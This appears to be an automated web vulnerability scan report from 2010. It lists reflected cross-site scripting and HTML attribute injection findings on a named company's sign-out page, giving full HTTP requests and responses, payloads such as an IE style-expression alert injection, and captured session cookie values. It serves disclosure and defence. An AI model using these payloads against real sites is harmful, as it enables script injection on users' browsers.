GET /Accenture2da4c'%20a%3db%2018a8563620b/Registration/SignOutPage.aspx HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Location: /Accenture/DefaultErrorPage.htm?aspxerrorpath=/Accenture2da4c' a=b 18a8563620b/Registration/SignOutPage.aspx Content-Type: text/html; charset=utf-8 Content-Length: 225 Vary: Accept-Encoding Cache-Control: private, max-age=43200 Date: Sun, 21 Nov 2010 16:48:05 GMT Connection: close
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href='/Accenture/DefaultErrorPage.htm?aspxerrorpath=/Accenture2da4c' a=b 18a8563620b/Registration/SignOutPage.aspx'>here</a ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a8f2e'%20a%3db%20588b8c9f4f1 was submitted in the REST URL parameter 2. This input was echoed as a8f2e' a=b 588b8c9f4f1 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Accenture/Registrationa8f2e'%20a%3db%20588b8c9f4f1/SignOutPage.aspx HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Pragma: no-cache Location: http://www.accenture.com/Accenture/DefaultErrorPage.htm?aspxerrorpath=/Accenture/Registrationa8f2e' a=b 588b8c9f4f1/SignOutPage.aspx Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 249 Vary: Accept-Encoding Cache-Control: no-cache Expires: Sun, 21 Nov 2010 16:48:11 GMT Date: Sun, 21 Nov 2010 16:48:11 GMT Connection: close
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href='http://www.accenture.com/Accenture/DefaultErrorPage.htm?aspxerrorpath=/Accenture/Registrationa8f2e' a=b 588b8c9f4f1/SignOutPage.aspx'> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c620b'style%3d'x%3aexpression(alert(1))'749a846ac09 was submitted in the REST URL parameter 3. This input was echoed as c620b'style='x:expression(alert(1))'749a846ac09 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Accenture/Registration/SignOutPage.aspxc620b'style%3d'x%3aexpression(alert(1))'749a846ac09 HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 COMMERCE-SERVER-SOFTWARE: Microsoft Commerce Server 2002, Enterprise Edition Location: https://www.accenture.com/Accenture/Registration/SignOutPage.aspxc620b'style='x:expression(alert(1))'749a846ac09 Content-Type: text/html; charset=utf-8 Content-Length: 229 Date: Sun, 21 Nov 2010 16:48:14 GMT Connection: close Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:48:14 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: no-cache Pragma: no-cache
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href='https://www.accenture.com/Accenture/Registration/SignOutPage.aspxc620b'style='x:expression(alert(1))'749a846ac09'>her ...[SNIP]...
Report generated by Hoyt LLC at Sun Nov 21 15:28:40 CST 2010.